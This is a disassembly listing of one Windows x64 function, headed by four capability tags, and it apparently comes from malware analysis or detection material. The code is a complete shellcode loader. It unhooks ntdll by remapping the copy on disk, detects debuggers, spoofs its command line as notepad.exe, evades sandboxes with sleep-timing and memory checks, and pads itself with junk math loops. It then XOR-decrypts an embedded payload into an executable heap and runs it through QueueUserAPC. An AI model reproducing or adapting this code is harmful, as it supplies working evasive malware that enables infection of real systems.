Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002a30
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x1400019e6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x7f8]
mov r10, qword [rbp + 0x878]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x86c], 0
mov dword [rbp + 0x7ec], 0x111
mov dword [rbp + 0x7e8], 0x88
mov eax, dword [rbp + 0x7ec]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x874], 0
jmp 0x1400015f1
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rdx, rax
mov eax, dword [rbp + 0x874]
mov dword [rdx], eax
add dword [rbp + 0x874], 1
mov eax, dword [rbp + 0x874]
cmp eax, dword [rbp + 0x7e8]
jl 0x1400015c8
mov dword [rbp + 0x874], 1
jmp 0x140001683
mov eax, dword [rbp + 0x874]
mov dword [rbp + 0x870], eax
jmp 0x14000165a
mov edx, dword [rbp + 0x874]
mov eax, dword [rbp + 0x870]
add edx, eax
mov eax, dword [rbp + 0x874]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x870]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x870], 1
mov eax, dword [rbp + 0x7e8]
sub eax, dword [rbp + 0x874]
mov edx, dword [rbp + 0x874]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x870], eax
jle 0x140001619
add dword [rbp + 0x874], 1
mov eax, dword [rbp + 0x874]
cmp eax, dword [rbp + 0x7e8]
jl 0x14000160b
cmp dword [rbp + 0x7ec], 2
jle 0x1400016c7
mov eax, dword [rbp + 0x86c]
lea edx, [rax + 1]
mov dword [rbp + 0x86c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x874], 1
jmp 0x14000172b
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001724
mov eax, dword [rbp + 0x874]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x86c]
lea edx, [rax + 1]
mov dword [rbp + 0x86c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x874], 1
mov eax, dword [rbp + 0x874]
cmp eax, dword [rbp + 0x7e8]
jl 0x1400016d3
mov dword [rbp + 0x7dc], 2
mov dword [rbp + 0x868], 0
mov dword [rbp + 0x874], 0
jmp 0x140001787
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001780
add dword [rbp + 0x868], 1
add dword [rbp + 0x874], 1
mov eax, dword [rbp + 0x874]
cmp eax, dword [rbp + 0x7dc]
jl 0x140001759
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov qword [rbp + 0x7b0], rax
mov word [rbp + 0x866], 0
jmp 0x1400019ce
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x866]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019bd
mov dword [rbp + 0x5f4], 0
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f4]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x866]
add eax, 1
mov word [rbp + 0x866], ax
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x866], ax
jb 0x140001892
mov dword [rbp + 0x860], 0xffffffff
add dword [rbp + 0x860], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1f1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d70
movq rax, xmm0
mov qword [rbp + 0x7a0], rax
cmp dword [rbp + 0x860], 0x3c4
jle 0x1400019f0
mov dword [rbp + 0x858], 1
jmp 0x140001af9
mov dword [rbp + 0x85c], 0
mov eax, dword [rbp + 0x858]
mov dword [rbp + 0x854], eax
jmp 0x140001acf
mov edx, dword [rbp + 0x854]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x654], edx
mov eax, dword [rbp + 0x654]
imul eax, eax
imul eax, dword [rbp + 0x654]
add dword [rbp + 0x85c], eax
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x854], eax
cmp dword [rbp + 0x854], 0
jne 0x140001a64
mov eax, dword [rbp + 0x85c]
cmp eax, dword [rbp + 0x858]
jne 0x140001af2
mov eax, dword [rbp + 0x858]
mov dword [rbp + 0x658], eax
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x2a6
jle 0x140001a4c
mov ecx, 0x1b98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x850], 0
jmp 0x140001b74
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
movsd xmm1, qword [0x140006680]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x372
jle 0x140001b26
mov dword [rbp + 0x850], 0
jmp 0x140001bde
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x798]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x372
jle 0x140001b8c
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x808]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x790]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x5f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r8, qword [rbp + 0x780]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f8]
cmp eax, 1
je 0x140002965
mov qword [rbp + 0x778], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1a48e80
mov ecx, 0
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
je 0x140002965
mov rax, qword [rbp + 0x778]
mov edx, 0x1a48e80
mov rcx, rax
call fcn.140004c00
mov rax, qword [rbp + 0x778]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x76c], 0x3ac
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov eax, dword [rbp + 0x76c]
mov r8, qword [rbp + 0x760]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x37a
jbe 0x140002965
mov dword [rbp + 0x74c], 0x322
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x73c], eax
mov eax, dword [rbp + 0x74c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x738], eax
mov eax, dword [rbp + 0x738]
sub eax, dword [rbp + 0x73c]
cmp eax, 0x2f0
jbe 0x140002965
mov qword [rbp + 0x730], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3e8ee80
mov ecx, 0
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002965
mov rax, qword [rbp + 0x730]
mov edx, 0x3e8ee80
mov rcx, rax
call fcn.140004c00
mov rax, qword [rbp + 0x730]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140001fc0
mov rax, qword [rbp + 0x720]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov ecx, 0
call rax
mov dword [rbp + 0x84c], eax
cmp dword [rbp + 0x84c], 0xffffffff
je 0x140002965
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
jne 0x140002965
mov dword [rbp + 0x70c], 0x2c1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x70c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x28f
jbe 0x140002965
mov qword [rbp + 0x6f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2cb2280
mov ecx, 0
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002965
mov rax, qword [rbp + 0x6f0]
mov edx, 0x2cb2280
mov rcx, rax
call fcn.140004c00
mov rax, qword [rbp + 0x6f0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.dnaiunlixfdpq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
jne 0x140002965
lea rax, [rbp + 0xc0]
lea rdx, [0x140006140]
mov ecx, 0xa6
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x800]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov ecx, 0xc78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x848], 0
jmp 0x1400021ed
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x18e
jle 0x1400021af
mov dword [rbp + 0x848], 0
jmp 0x140002257
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x18e
jle 0x140002205
mov rax, qword [rbp + 0x800]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6d8]
mov r8d, 0
mov edx, 0x531
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6c0], rax
mov ecx, 0x480
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x840], 0
mov dword [rbp + 0x83c], 0
mov dword [rbp + 0x844], 0
jmp 0x140002321
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x11f
jle 0x1400022d5
mov dword [rbp + 0x844], 0
jmp 0x140002362
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x840], eax
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x11f
jle 0x140002339
mov dword [rbp + 0x844], 0
jmp 0x1400023ea
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x83c]
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x65c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006688]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f40
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x83c], eax
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x11f
jle 0x14000237a
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x83c]
movss xmm1, dword [0x140006690]
divss xmm0, xmm1
movss dword [rbp + 0x6b4], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x6b4]
movq rax, xmm3
movq xmm0, rax
call fcn.140003a20
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6b0], xmm0
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0x531
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x6a4], 0
mov dword [rbp + 0x830], 0
mov ecx, 0x3d18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x838], 0
jmp 0x14000254a
mov dword [rbp + 0x834], 0
jmp 0x140002536
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
imul rcx, rdx, 0xb8
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x838]
cdqe
imul rdx, rax, 0xb8
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x834]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000252f
add dword [rbp + 0x830], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x2d
jle 0x1400024b5
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x54
jle 0x1400024a6
cmp dword [rbp + 0x830], 0x7a3
jne 0x14000256d
mov dword [rbp + 0x6a4], 1
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x808]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
movsd xmm0, qword [0x140006698]
movsd qword [rbp + 0x828], xmm0
movsd xmm0, qword [0x1400066a0]
movsd qword [rbp + 0x688], xmm0
jmp 0x1400025e8
movsd xmm0, qword [rbp + 0x688]
mov rax, qword [rbp + 0x828]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f40
movq rax, xmm0
mov qword [rbp + 0x828], rax
movsd xmm0, qword [0x1400066a8]
comisd xmm0, xmmword [rbp + 0x828]
ja 0x1400025bf
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x690]
mov r8d, 0x531
mov rcx, rax
call r9
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 0
movabs rax, 0x4fb3b7c25b45dff3
movabs rdx, 0x17d62cce3ef9b270
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xcae2278c906acd4
movabs rdx, 0xe65bf438e8600151
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x18ffdc26cf0cbbce
movabs rdx, 0xb846c66b7dd80d78
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x62816eb846c66b7d
movabs rdx, 0x568004500748a7
mov qword [rbp - 0x15], rax
mov qword [rbp - 0xd], rdx
movabs rax, 0xe2de3a888b14e6bd
movabs rdx, 0x941678362f12e91c
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xeec39f6887e6573d
movabs rdx, 0xfd72627e3a9a9ad6
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xa5ce265046dc06d
movabs rdx, 0x5dc2efe68148cf5f
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x10b2139bb7f488f3
movabs rdx, 0x2ffc3801953cd40b
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x92786cb61f9e6774
movabs rdx, 0x8f6d8b498fb4668e
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov dword [rbp + 0xaf], 0x34c48f
mov dword [rbp + 0x824], 0
jmp 0x1400027fa
mov eax, dword [rbp + 0x824]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x820]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x824]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x820], 0x39
jne 0x140002793
mov dword [rbp + 0x820], 0
jmp 0x1400027f3
add dword [rbp + 0x820], 1
mov dword [rbp + 0x818], 0
jmp 0x1400027e7
call sub.msvcrt.dll_rand
imul eax, eax, 0x166
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d70
movq rax, xmm0
mov qword [rbp + 0x660], rax
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x249
jle 0x1400027a6
add dword [rbp + 0x824], 1
mov eax, dword [rbp + 0x824]
cmp eax, 0x51
jbe 0x140002756
mov dword [rbp + 0x824], 0
jmp 0x140002876
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x81c]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x81c], 0x51
jne 0x140002868
mov dword [rbp + 0x81c], 0
jmp 0x14000286f
add dword [rbp + 0x81c], 1
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x530
jle 0x140002815
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x814], 0xffffffff
add dword [rbp + 0x814], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b60
movq rax, xmm0
mov qword [rbp + 0x668], rax
cmp dword [rbp + 0x814], 0x21b
jle 0x140002902
mov rax, qword [rbp + 0x670]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret